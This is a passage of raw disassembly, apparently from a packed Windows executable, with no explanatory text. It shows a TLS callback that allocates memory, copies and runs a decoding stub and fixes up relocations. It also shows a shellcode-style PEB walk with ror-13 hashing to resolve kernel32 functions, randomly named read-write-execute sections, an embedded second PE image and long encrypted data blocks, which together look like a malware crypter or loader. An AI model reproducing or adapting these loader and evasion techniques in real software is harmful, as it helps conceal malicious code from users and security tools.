		mov	eax, [esi+0Ch]
		or	eax, eax
		jz	loc_432A42
		add	eax, edx
		mov	ebx, eax
		push	eax
		call	ds:dword_42A0B4	; GetModuleHandleA
		or	eax, eax
		jnz	loc_4329D7
		push	ebx
		call	ds:dword_42A0B8	; LoadLibraryA
		or	eax, eax
		jz	loc_432A3A


loc_4329D7:				; CODE XREF: sub_432992+30j
		mov	[ebp+var_8], eax
		push	0
		pop	[ebp+var_C]


loc_4329DF:				; CODE XREF: sub_432992+A2j
		mov	eax, [esi]
		or	eax, eax
		mov	edx, [ebp+var_4]
		jnz	loc_4329EF
		mov	eax, [esi+10h]


loc_4329EF:				; CODE XREF: sub_432992+54j
		add	eax, edx
		add	eax, [ebp+var_C]
		mov	ebx, [eax]
		mov	edi, [esi+10h]
		add	edi, edx
		add	edi, [ebp+var_C]
		or	ebx, ebx
		jz	loc_432AE7
		test	ebx, 80000000h
		jnz	loc_432A16
		lea	ebx, [ebx+edx+2]


loc_432A16:				; CODE XREF: sub_432992+7Aj
		and	ebx, 7FFFFFFFh
		push	ebx
		push	[ebp+var_8]
		call	ds:dword_42A0BC	; GetProcAddress
		or	eax, eax
		jz	loc_432A3A
		mov	[edi], eax
		add	[ebp+var_C], 4
		jmp	loc_4329DF
; ---------------------------------------------------------------------------
		align 2


loc_432A3A:				; CODE XREF: sub_432992+3Fj
					; sub_432992+96j
		push	ebx
		mov	eax, ebx
		call	sub_432A49


loc_432A42:				; CODE XREF: sub_432992+1Dj
		pop	ebx
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_432992	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432A49	proc near		; CODE XREF: sub_432992+ABp

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		mov	[ebp+var_104], eax
		mov	[ebp+var_100], 276E6143h
		mov	[ebp+var_FC], 6F6C2074h
		mov	[ebp+var_F8], 206461h
		mov	[ebp+var_108], 0Bh


loc_432A80:				; CODE XREF: sub_432A49+98j
		mov	eax, [ebp+var_104]
		cmp	byte ptr [eax],	0
		jnz	loc_432AC0
		mov	eax, [ebp+var_108]
		mov	byte ptr [ebp+eax+var_100], 0
		push	2010h
		push	0
		lea	eax, [ebp+var_100]
		push	eax
		push	0
		call	ds:dword_42A104	; MessageBoxA
		push	0FFFFFFFFh
		call	ds:dword_42A0C0	; ExitProcess
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_432AC0:				; CODE XREF: sub_432A49+40j
		mov	eax, [ebp+var_108]
		mov	edx, [ebp+var_104]
		mov	dl, [edx]
		mov	byte ptr [ebp+eax+var_100], dl
		inc	[ebp+var_108]
		inc	[ebp+var_104]
		jmp	loc_432A80
sub_432A49	endp

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_432992


loc_432AE7:				; CODE XREF: sub_432992+6Ej
		add	esi, 14h
		mov	edx, [ebp+var_4]
		jmp	loc_4329AA
; END OF FUNCTION CHUNK	FOR sub_432992
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_432AF7	proc near		; CODE XREF: TlsCallback_0p
		mov	eax, offset loc_42E77C

locret_432AFC:				; DATA XREF: sub_432AFD+8o
		retn
sub_432AF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_432AFD	proc near		; DATA XREF: fzj3qwht:00432488o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	esi
		push	edi
		push	ecx
		push	ebx
		push	eax
		mov	ebx, [esp+14h+var_14]
		sub	ebx, offset locret_432AFC
		mov	eax, 3552h
		push	eax
		push	4
		push	1000h
		push	eax
		push	0
		mov	eax, offset dword_42A0C4
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		mov	edx, offset loc_42E77C
		add	edx, ebx
		push	edx
		push	ebx
		push	eax
		mov	edi, eax
		mov	esi, edx
		cld
		rep movsb
		mov	ecx, offset sub_42E5F8
		add	ecx, ebx
		call	ecx
		pop	eax
		mov	ebx, [esp+10h+var_10]
		push	8000h
		push	0
		push	eax
		mov	eax, 42A0C8h
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		pop	eax
		pop	ebx
		sub	ebx, 5
		mov	byte ptr [ebx],	0B8h
		inc	ebx
		mov	[ebx], eax
		add	ebx, 4
		mov	byte ptr [ebx],	0C3h
		or	ecx, ecx
		jz	short loc_432BB2
		mov	ebx, eax
		call	loc_432C13
		cld
		lodsd
		cmp	eax, 0FFFFFFFFh
		jz	short loc_432BB2
		push	ebx
		mov	ebx, ecx


loc_432B7D:				; CODE XREF: sub_432AFD+91j
					; sub_432AFD+A4j ...
		add	ebx, eax
		add	[ebx], ecx
		add	ebx, 4
		lodsb
		cmp	al, 0FEh
		jnb	short loc_432B90
		and	eax, 0FFh
		jmp	short loc_432B7D
; ---------------------------------------------------------------------------


loc_432B90:				; CODE XREF: sub_432AFD+8Aj
		add	ebx, 0FEh
		or	eax, eax
		jp	short loc_432BA3
		lodsw
		and	eax, 0FFFFh
		jmp	short loc_432B7D
; ---------------------------------------------------------------------------


loc_432BA3:				; CODE XREF: sub_432AFD+9Bj
		lodsd
		dec	esi
		and	eax, 0FFFFFFh
		cmp	eax, 0FFFFFFh
		jnz	short loc_432B7D
		pop	eax


loc_432BB2:				; CODE XREF: sub_432AFD+6Dj
					; sub_432AFD+7Bj
		pop	ebx
		pop	ecx
		pop	edi
		pop	esi
		retn
sub_432AFD	endp

; ---------------------------------------------------------------------------
		db 71h
		dd 0ECA4C4B5h, 16CD4F1Dh, 1214CA77h, 7C5A5B5Fh,	5C369DC3h
		dd 0B35F1167h, 0F1DD2A88h, 0E01A34A4h, 46CD7BACh, 8B8D7E9Ch
		dd 6F9E4CFh, 0CE8FD41Eh, 0F1840A2Ch, 907FE463h,	183465A4h
		dd 6766B1CAh, 0E80DD980h, 0FFFFFEF7h, 3A2105h
		db 0, 0FFh, 0E0h

; =============== S U B	R O U T	I N E =======================================


		public TlsCallback_0

TlsCallback_0	proc near		; DATA XREF: fzj3qwht:TlsCallbackso
		call	sub_432AF7
		add	eax, 3652h
		jmp	eax
TlsCallback_0	endp

; ---------------------------------------------------------------------------


loc_432C13:				; CODE XREF: sub_432AFD+71p
		call	sub_432C1C
; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh

; =============== S U B	R O U T	I N E =======================================



sub_432C1C	proc near		; CODE XREF: fzj3qwht:loc_432C13p
		pop	esi
		retn
sub_432C1C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 4400h
		dd 5B3EDAD7h, 412498DAh, 0F0F31623h, 3856BBF4h,	607FD985h
		dd 8DB84176h, 0AE996ACDh, 3FDA4F69h, 0BAF4909Eh, 0DF2262ADh
		dd 406D6A1Fh, 0CD405B75h, 0D8A9E18Ch, 0D129EDh,	6A986F79h
		dd 21525096h, 88696278h, 14E2E870h, 6ECA8AA6h, 5A2DA0D3h
		dd 0D73ABF70h, 3A5656A8h, 0FEEFDBDDh, 90FAC4E3h, 0D72C351Bh
		dd 0BC6807BFh, 235A3818h, 0AC513EA8h, 3C231832h, 0F87B5308h
		dd 0A07AF8FEh, 6B95396Ch, 5DFB0866h, 4CDF600Bh,	0EA862C62h
		dd 45B0A381h, 0EA70DB2Bh, 1F39173Eh, 186C70BCh,	0C8CE76C0h
		dd 869F4C06h, 0A5972B87h, 39901101h, 7C44CDB5h,	0DBDA524Eh
		dd 0BC42CEDAh, 1D74815Bh, 0BBC0A223h, 2B04BE05h, 0B2465399h
		dd 83293B8Fh, 85E2A6B4h, 618719D3h, 94537716h, 0D4276967h
		dd 8688FCFh, 0EC769E6Dh, 524C9C95h, 92FAE5EFh, 76629C2h
		dd 3A8AA89Bh, 878A8CA2h, 17FC0B92h, 8165106Eh, 17EA2E43h
		dd 0B57826D2h, 0DF173313h, 0E7683F03h, 0F73CDBD0h, 6BE5F018h
		dd 0CDDC7147h, 91672DAEh, 0BB63C025h, 0D164FE33h, 627BBDAFh
		dd 5EB21B3Ch, 0D26BF6ABh, 132BDD4Dh, 0B6D33AE7h, 8B4F83F3h
		dd 0A84AE68Ah, 5CE03F76h, 0B15FC6AAh, 93A6784Fh, 59FB43E8h
		dd 0B78D8581h, 79CBD223h, 51CFF99h, 9F27F404h, 0AE20EE5Bh
		dd 572D1752h, 0A9DC8BE9h, 0ED8D4A5Ah, 0DC111DEFh, 96668384h
		dd 4779B786h, 0B6A1C373h, 0EBA8BC88h, 0C3D0B703h, 9F3771Ah
		dd 0D34D1169h, 4895A016h, 0FCEA58A1h, 0FA72E5FDh, 0A7B18E38h
		dd 811BC240h, 0B5A029C7h, 0BF3AF0BBh, 59ABB1Ch,	0C3A0C780h
		dd 0A53CB0B2h, 0D7620EDh, 5A212085h, 0F54AF50h,	9436BF69h
		dd 49D2A841h, 60B02B3Dh, 25F742F6h, 79AD21D4h, 807CC78h
		dd 80h dup(0)
fzj3qwht	ends

; Section 6. (virtual address 00033000)
; Virtual size			: 0001C000 ( 114688.)
; Section size in file		: 0001C000 ( 114688.)
; Offset to raw	data for section: 00033000
; Flags	E00000E0: Text Data Bss	Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_0niaacah	segment	para public 'CODE' use32
		assume cs:_0niaacah
		;org 433000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 0AB5E1283h, 0EE2E4F85h, 0A21AF640h, 187E1BA7h, 442A8D2Eh
		dd 592EED57h, 0F54F8ADCh, 0C5B27650h, 0C19BA443h, 0F0D7F9A6h
		dd 8434B2D9h, 0FABFA5B4h, 0B700B523h, 38221697h, 9253B481h
		dd 13F51AF6h, 0B4AB90EBh, 0AAD48554h, 0AA2F0602h, 4262E9C1h
		dd 0C1667B4Eh, 64E7AE3Bh, 0BB199E62h, 54C76A68h, 8320F216h
		dd 29E00987h, 0BB1B305h, 524EFF69h, 0E47CEC4Ah,	0EDE67963h
		dd 0A5F2C3Eh, 32D8AB12h, 0B0B3DBFFh, 0D6D32A50h, 0F3607458h
		dd 3CCD17E3h, 7E118CA7h, 377C6056h, 3794AA30h, 9FC2AB4h
		dd 842B5C0Ah, 0EB304762h, 410249BDh, 0DFCA4BF8h, 40748234h
		dd 0E062B084h, 0E3024343h, 0A2E3269Dh, 211F3384h, 0E334B12Ch
		dd 43BE7CF8h, 6006936Ch, 0C520A37h, 2BFA848Eh, 8B70E934h
		dd 5F306E66h, 97B4471Dh, 679FC261h, 155E6029h, 0A70393D6h
		dd 0DE35895Dh, 2726E003h, 0F1DE01BCh, 11A7180Ah, 7292659Bh
		dd 0F71F23CCh, 0BE47F394h, 0A51B3BBEh, 5C2424CCh, 5824025Ah
		dd 0CD8B64AFh, 0B1EB4CA0h, 0DE472A41h, 414DB42Eh, 3EC8C72h
		dd 0FB812DA4h, 82603D9h, 834FCA46h, 7225FB86h, 0EA46B8C7h
		dd 0C00D4BD8h, 972AC96Ah, 0CE002559h, 4F752881h, 0D70A7ACCh
		dd 1BD3FA40h, 87526E87h, 0DDF4433h, 3725B715h, 71C13CEBh
		dd 74028A51h, 551A2423h, 0E9BCF3BBh, 234C2CF8h,	1C76D1ABh
		dd 0EAAF6A51h, 27FA2DF2h, 59CC520Ch, 6A22D6C7h,	5E1BAF01h
		dd 0EA6AAA9Dh, 4E9ECF3Bh, 9655DF51h, 5680EF5Bh,	59930D8Dh
		dd 0E4304007h, 394BF5D9h, 1BE2B0C7h, 0F617F2DDh, 179AFE4Eh
		dd 644054Eh, 9E319C09h,	0BF9BC967h, 23F32ED5h, 7F34216Dh
		dd 3775BBCAh, 2C2AFAA9h, 0D7498025h, 6259D11Bh,	12084A33h
		dd 7C42A872h, 79C47E87h, 36ED56A9h, 72E26D14h, 55133D51h
		dd 17B7DC52h, 0B79BE0Ch, 0EDD9B88Dh, 380h dup(0)
dword_434000	dd 55E860h, 0BD8D0000h,	401000h, 0B00068h, 243C0300h, 6890F78Bh
					; DATA XREF: _0niaacah:starto
		dd 401031h, 55E3DB9Bh, 8B2404DBh, 2444DBC7h, 0DBC1DE04h
		dd 1C8B241Ch, 51AD6624h, 902404DBh, 778DDA90h, 0DB004010h
		dd 0E1D1241Ch, 33240C29h, 0E9D12404h, 0E258AB66h, 0FCB85724h
		dd 2900004Fh, 8BC32404h, 18B9242Ch, 81000010h, 401006EDh
		dd 90909000h, 17E8C181h, 0EB900000h, 5E3FF91h, 16000070h
		dd 0B5FFC789h, 131h, 135858Dh, 57500000h, 571A55FFh, 681E55FFh
		dd 0
; ---------------------------------------------------------------------------
		push	esi
		call	dword ptr [ebp+12h]
		add	esp, 400h
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	edi, eax


loc_4340A7:				; CODE XREF: _0niaacah:004340B5j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_4340B7
		push	ebx
		push	eax
		call	sub_4340DD
		stosd
		jmp	short loc_4340A7
; ---------------------------------------------------------------------------


loc_4340B7:				; CODE XREF: _0niaacah:004340ABj
		popa
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	eax, large fs:30h
		test	eax, eax
		js	short loc_4340D0
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	short loc_4340D9
; ---------------------------------------------------------------------------


loc_4340D0:				; CODE XREF: _0niaacah:004340C2j
		mov	eax, [eax+34h]
		mov	ebp, [eax+0B8h]


loc_4340D9:				; CODE XREF: _0niaacah:004340CEj
		mov	ebx, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4340DD	proc near		; CODE XREF: _0niaacah:004340AFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4340F3:				; CODE XREF: sub_4340DD+33j
		jecxz	short loc_434127
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		cld


loc_4340FE:				; CODE XREF: sub_4340DD+2Dj
		xor	eax, eax
		lodsb
		cmp	al, ah
		jz	short loc_43410C
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4340FE
; ---------------------------------------------------------------------------


loc_43410C:				; CODE XREF: sub_4340DD+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4340F3
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		jmp	short loc_434129
; ---------------------------------------------------------------------------


loc_434127:				; CODE XREF: sub_4340DD:loc_4340F3j
		xor	eax, eax


loc_434129:				; CODE XREF: sub_4340DD+48j
		mov	[esp+20h+var_4], eax
		popa
		retn	8
sub_4340DD	endp

; ---------------------------------------------------------------------------
		align 2
		dw 0AAh
		dd 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0C800h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 83F10700h, 0ED9043D8h, 2 dup(0ED90438Bh), 0B098C08Bh
		dd 0ED90408Bh, 0EC90438Bh, 0ED90428Bh, 0ED90438Bh, 0ED90428Bh
		dd 0B79C468Bh, 0ED90428Bh, 6369528Bh, 0ED904368h, 8Bh
		dd 3 dup(0)
		dd 455000h, 3014C00h, 1E138600h, 43h, 0
		dd 0F00E000h, 7010B01h,	0Ah, 0A60000h, 4C0000h,	113CF00h
		dd 2 dup(100000h), 80000000h, 100009h, 20000h, 400h, 0
		dd 400h, 0
		dd 1200000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 600800h, 2800h, 14h dup(0)
		dd 600000h, 800h, 6 dup(0)
		dd 73622E00h, 73h, 4A1C00h, 100000h, 5 dup(0)
		dd 8000h, 64722EC0h, 617461h, 5400h, 600000h, 20000h, 40000h
		dd 3 dup(0)
		dd 4000h, 61642E40h, 6174h, 0A3FE00h, 700000h, 0A40000h
		dd 60000h, 3 dup(0)
		dd 4004000h, 0C0h, 71h dup(0)
		dd 603800h, 0
		dd 603000h, 2 dup(0)
		dd 604600h, 600000h, 5 dup(0)
		dd 603800h, 0
		dd 4500AF00h, 50746978h, 65636F72h, 4B007373h, 454E5245h
		dd 2E32334Ch, 6C6C64h, 6Bh dup(0)
		dd 3D9A5100h, 0B25D970Ch, 82526279h, 15DEDEB6h,	8F16940Fh
		dd 6F38FDA7h, 0BE874E4Eh, 0E7AB59F5h, 0B403F46Ch, 0E051F69Bh
		dd 5D072C80h, 0A0D3782Ch, 6D1F2AB3h, 6D36FFC8h,	0E59023CFh
		dd 0EB5CA055h, 892EC36Ch, 5FD1E88h, 0CA01E074h,	71B4BBFCh
		dd 73673A28h, 3FDD00B0h, 8662CFBCh, 39D39CEEh, 0A5893E9Dh
		dd 2A0B7090h, 0DFF8B881h, 6D2C4FB9h, 0C398A6F3h, 0FAB92544h
		dd 4D5173D9h, 14F06253h, 58A3AB46h, 96EE500h, 183ED66Fh
		dd 0F8C18A2Bh, 4ECE662Fh, 0F0630AA0h, 6019B169h, 8B8F2EEAh
		dd 0EAAED7E4h, 0CEC7DC9h, 0AC17B091h, 0DAEA1EE7h, 8783A63h
		dd 531CE5ACh, 983BFDBAh, 76484468h, 2114E6CFh, 0CEC64A9Dh
		dd 743DD032h, 6CC377A2h, 4796B288h, 0A5E5B5FEh,	2DF562Ah
		dd 91F411E1h, 80BB1798h, 0C3ECBD14h, 0E7A06DF3h, 3C8C551Eh
		dd 0F9829ECh, 0B37CD14Fh, 0E75821EAh, 6F2F788Dh, 327FCBF1h
		dd 67C69801h, 642DF6AFh, 1BD49D5Dh, 6FCE00D2h, 0D2A4CDA6h
		dd 73CA564Ch, 0D111E1CAh, 735C7DDEh, 0DFF0E1AAh, 0D6642DF6h
		dd 0AD772045h, 89561FE8h, 9236FFC8h, 0FF10D95Ch, 0DBA46D36h
		dd 0F7804912h, 0D39C652Eh, 0AF78410Ah, 8B541DE6h, 6730F9C2h
		dd 430CD59Eh, 1FE8B17Ah, 0FBC48D56h, 0D7A06932h, 0B37C450Eh
		dd 9E5922EBh, 611291CAh, 0E60E8A2Ch, 40A0FA7h, 26D871ECh
		dd 0E580B99Ch, 4CF6812Fh, 3BA349A8h, 9653F99Ch,	391886ADh
		dd 4AAB6C02h, 19260FA8h, 52C80D97h, 0EE41ED8Ch,	0CAA76428h
		dd 0EEB78049h, 99935C25h, 4A246C8Eh, 53E9FA10h,	3CF0E329h
		dd 0DB0CC2h, 0E73A21ECh, 431C5785h, 1229B411h, 73324EAh
		dd 8840A396h, 0B3A7B05Eh, 1AD12A1Ah, 0F63B2CE2h, 845A2D9Eh
		dd 0E2BFA866h, 0BD4E11F2h, 9A56814Fh, 16B8AB60h, 0BA4D66B4h
		dd 25CFD846h, 0EE2235DBh, 0F4055EFCh, 0D6697A90h, 60BFC0BAh
		dd 4E81D278h, 6D5AE12h,	0A43F28E6h, 4FD17C16h, 3FE4FF1Dh
		dd 1BE4AD76h, 0F7C08952h, 0D39C652Eh, 0FF78410Ah, 6CE9B273h
		dd 0C915D8A2h, 21E44C1Bh, 0FDC68F58h, 39A26B34h, 0CF4D29F0h
		dd 0BD763907h, 3902CB54h, 25EEB760h, 521BE20Ch,	9F6831F9h
		dd 0ECB57CA6h, 29F2BB43h, 15DE9760h, 1CA935Ch, 0DBA8713Ah
		dd 0BF88511Ah, 9F642DF6h, 7B440DD6h, 5720E9B2h,	450ED79Eh
		dd 25EEB778h, 2CA935Ch,	0E0A9723Bh, 0CC955E17h,	0B8814A13h
		dd 0A46D36EFh, 905922CBh, 7C35FEC7h, 0FC21EAB3h, 603CA52h
		dd 521BE4ADh, 2B5821E9h, 10D9A26Bh, 0ECB57E47h,	0C8915A23h
		dd 0A46D36FFh, 804912DBh, 5C25EEB7h, 0D801CA93h, 5E1FE62Eh
		dd 3A03CC95h, 16DFA871h, 0F2BB844Dh, 0CE976029h, 0AA733C05h
		dd 864F18E1h, 622BF4BDh, 3E07D099h, 1AE3AC75h, 0F6BF8851h
		dd 0D29B642Dh, 0AE774009h, 8A531CE5h, 662FF8C1h, 420BD49Dh
		dd 1EE7B079h, 0FAC38C55h, 0D69F6831h, 0B27B440Dh, 8E5720E9h
		dd 3F33FCC5h, 733C25A6h, 4F18E1AAh, 7C450CD6h, 6831FAA3h
		dd 440DD69Fh, 24EDB67Fh, 0C9925Bh, 0DCA56E37h, 38814A13h
		dd 0A13DA66Fh, 0FEA75FD0h, 0DAA36C35h, 0C68F5801h, 3CC959Dh
		dd 0E1AA7338h, 0C18A531Ch, 9D662FF8h, 79420BD4h, 151EE7B0h
		dd 64FA03CCh, 3CE11CEDh, 18E1AA73h, 945D26EFh, 9AA73BBh
		dd 3F08D19Ah, 21EAB370h, 0FDC68F58h, 0D9A26B34h, 957E4710h
		dd 351A430Ch, 0D8BD8825h, 0D13A8B1Ah, 0B3238178h, 11D402CAh
		dd 6608CA71h, 68C94AF7h, 0E15930DCh, 0A82E9101h, 8F868D8h
		dd 601AB481h, 977E02C7h, 0B554FD43h, 3EE16AE1h,	9A318155h
		dd 0A9AC46FAh, 0E99A04AFh, 56E2962Ch, 20EB58BDh, 19B4866Bh
		dd 37AEA922h, 17E25BB8h, 89533AA8h, 33E89A2Bh, 0B340ED83h
		dd 8B6BE152h, 8F86822h,	0E3432397h, 0CC0A8373h,	9D2DEF64h
		dd 3CD31EE7h, 0C221282Fh, 0A24CE771h, 3ADE6411h, 0B360E59Eh
		dd 894E33F8h, 70E78B21h, 5A3308B0h, 4C89049Fh, 8F740FA5h
		dd 8841C253h, 0C469EC96h, 42F1A852h, 0CA671BB0h, 8280610Ch
		dd 0D862CCDh, 0B5590C08h, 52C76F0Fh, 18B254C1h,	6525DF70h
		dd 8F44D7BCh, 6B34FDC6h, 4710D9A2h, 23ECB57Eh, 0FFC8915Ah
		dd 0DBA46D36h, 0B7804912h, 935C25EEh, 6F3801CAh, 4B14DDA6h
		dd 27F0B982h, 3CC955Eh,	0DFA8713Ah, 0BB844D16h,	976029F2h
		dd 733C05CEh, 4F18E1AAh, 2BF4BD86h, 7D09962h, 0E3AC753Eh
		dd 0BF88511Ah, 9B642DF6h, 774009D2h, 531CE5AEh,	2FF8C18Ah
		dd 0BD49D66h, 0E7B07942h, 0C38C551Eh, 9F6831FAh, 7B440DD6h
		dd 5720E9B2h, 33FCC58Eh, 0FD8A16Ah, 0EBB47D46h,	0C7905922h
		dd 0A36C35FEh, 7F4811DAh, 5B24EDB6h, 3700C992h,	13DCA56Eh
		dd 0EFB8814Ah, 0CB945D26h, 0A7703902h, 834C15DEh, 5F28F1BAh
		dd 3B04CD96h, 17E0A972h, 0F3BC854Eh, 0CF98612Ah, 0AB743D06h
		dd 875019E2h, 632CF5BEh, 3F08D19Ah, 0E7E4AD76h,	0A41DE42Eh
		dd 814A131Bh, 5D26EFB8h, 3902CB94h, 3DDEA770h, 83440D15h
		dd 0B07940CAh, 8C551EE7h, 6831FAC3h, 720DD69Fh,	408148D0h
		dd 0EDB67F87h, 0C9925B24h, 0A56E3700h, 0C34A13DCh, 0F9CA939Bh
		dd 36FFC650h, 12DBA46Dh, 0EEB78049h, 9A935C25h,	0A021E830h
		dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 7DEAB37Ch, 43844DD5h
		dd 0F0B9808Ah, 0CC955E27h, 0A8713A03h, 0E24D16DFh, 0D0F1B840h
		dd 5D26EF37h, 3902CB94h, 15DEA770h, 83BA834Ch, 596A33FBh
		dd 0D69F66B0h, 0B27B440Dh, 8E5720E9h, 1433FCC5h, 0DEEFB67Eh
		dd 5B24ED35h, 3700C992h, 13DCA56Eh, 63B8814Ah, 41824BD3h
		dd 0EEB77E88h, 0CA935C25h, 0A66F3801h, 1A4B14DDh, 0A021E830h
		dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 21EAB37Ch, 0FDC68F58h
		dd 0D1A26B34h, 9E8B179h, 733C050Dh, 2418E1AAh, 0BE58FF94h
		dd 0C3B6291Bh, 33FC8136h, 0AB4BED6Ah, 42E9B106h, 0DA8803CBh
		dd 7E02CB12h, 0F7AE27D2h, 822FB741h, 12A06EE5h,	68ECB578h
		dd 6AE473E0h, 2FAA1DE7h, 47C86D02h, 8E12E07Eh, 8D08E315h
		dd 0E92ACF6Ch, 1C8B1620h, 659F1F96h, 45EA07F2h,	8EA66FA0h
		dd 0A92EA32Fh, 0C415E05Bh, 0D781B257h, 35AE6432h, 7F1CB15Eh
		dd 0BA3FBEB6h, 4F2F462Eh, 45EA8FA8h, 5FD854CCh,	43DE58DFh
		dd 29CE638Ch, 0ECF76E8h, 972ED869h, 42F700E7h, 0B5AB74BDh
		dd 0CA3CC823h, 0A055E251h, 0F5491203h, 7315B95Eh, 0BA849ACh
		dd 1BE4AD66h, 72C08952h, 0CC11E3A0h, 7E713A03h,	0BD854CD4h
		dd 98622BF4h, 773F08D1h, 9F1CE5AEh, 8D26EF37h, 0BF34FD05h
		dd 0E3460F17h, 6F7C45EEh, 0CD965FA7h, 5EFB5804h, 1B14B9h
		dd 632CE9AEh, 3708D19Ah, 23ECB57Eh, 0FFC8915Ah,	0DBA46D36h
		dd 0B7804912h, 935C25EEh, 6F3801CAh, 0CB14DDA6h, 4E18917Eh
		dd 541C4888h, 7A9BC48Dh, 561FE8B1h, 0B0B48A0Eh,	0EA1DA532h
		dd 85BBF0A6h, 145A58E7h, 0F6BF8851h, 951A642Dh,	0A77039E1h
		dd 8FAE0735h, 380845C0h, 30E8FA3Ah, 0C5EFA4F6h,	7B49D9EEh
		dd 6FC7B6C0h, 4A14DDA6h, 0F446E058h, 89BE155Fh,	8A132BB9h
		dd 0D6FCA240h, 13C0022Ah, 65BDF2E1h, 0A29CBD67h, 0D75D7832h
		dd 0AD94D07Ch, 0E762296Ch, 4100289Dh, 4A8A0698h, 0F446E058h
		dd 89BE155Fh, 83132BB9h, 47E1594Bh, 0A1165EF5h,	1034B688h
		dd 0DD53C80h, 0BD7B27C5h, 278CA473h, 6AB23012h,	7A20C20Ah
		dd 46849454h, 3F706791h, 1E23E5E7h, 3DC50E96h, 0F42A5874h
		dd 0B6022AC2h, 0BA0B4DEBh, 2E4DDA8Dh, 0D19FDC67h, 4967DB53h
		dd 22586805h, 0C3E1C0ECh
		dd 3A7AB3E8h, 5BA42F71h, 951B5D13h, 61AC0854h, 6177BFD7h
		dd 76AC9C5Dh, 93A1AB40h, 99EE825Eh, 0C18A531Ch,	763FFB41h
		dd 0A4A26EADh, 57DF2C4Dh, 1EEACBF9h, 2173A090h,	534206Bh
		dd 0F839185Ah, 0E30EE7EEh, 2C8534E6h, 2CA56D88h, 7C82C48Ah
		dd 266D7CBCh, 4208B204h, 58CE038Ah, 0E135C452h,	0D952DBB4h
		dd 447E4811h, 28E5EBB1h, 0D99203A0h, 0C2ED4811h, 0C4CD000Eh
		dd 0CBEB7A8Fh, 2FE54BFBh, 40D553D1h, 0DB52ACD0h, 567295E0h
		dd 5F875849h, 1DD79796h, 0AC08D1DBh, 2F60F7B3h,	0C8BA0785h
		dd 101ED2A1h, 9578D5DCh, 46DE6C2Ch, 905A149Eh, 0BD444E4Bh
		dd 72BC3D64h, 27915B5Bh, 696D230Ch, 1098A740h, 5192185Ah
		dd 0CFA64C67h, 1F15A4CFh, 78819E9h, 0C48F4FCFh,	0E425875h
		dd 0AE6139C9h, 864ECC8Ch, 23CAD0BFh, 448E915Ah,	0C92A0E7Dh
		dd 5B450DD6h, 773586AEh, 0EEC77775h, 0F7BF7693h, 0D0A46D2Dh
		dd 0CC95471Eh, 0A10ADDF5h, 0F938AD67h, 0E8A0743Dh, 588E84D2h
		dd 0C820295Dh, 0D30B73C7h, 69220BB4h, 2060128Bh, 0EAFB37Eh
		dd 6834EDCFh, 5305A254h, 5EF74855h, 0F23B25D7h,	0C105A0D6h
		dd 1A840128h, 0F2604B01h, 0BC2253EBh, 8E4A0C75h, 2F659B47h
		dd 0F792ADB9h, 0CDBB4F9Bh, 721AA5A9h, 0E18A08C2h, 28ED2344h
		dd 83CB645Dh, 0B0E6F8C7h, 9A1420C1h, 890E9415h,	38478B09h
		dd 31B53FBDh, 7A487E44h, 0C40AF3BAh, 30BF3AB6h,	6EA22AB6h
		dd 5FD5EEB6h, 9952C337h, 0BB3FC9FFh, 9638138h, 7473F03Dh
		dd 77D087A3h, 2CC5498Eh, 8A1EE453h, 158EF4A3h, 2E0AB2A3h
		dd 0F8F1EE98h, 3A7044EBh, 0A5772EF9h, 7FF4CCD4h, 0D88A33D8h
		dd 0BBFD9622h, 53ED3977h, 5C59A360h, 0C79C376Ch, 4371435Dh
		dd 0AC7C045h, 0CDAF38BEh, 20B40F28h, 0E4BD21B2h, 78388D0Ah
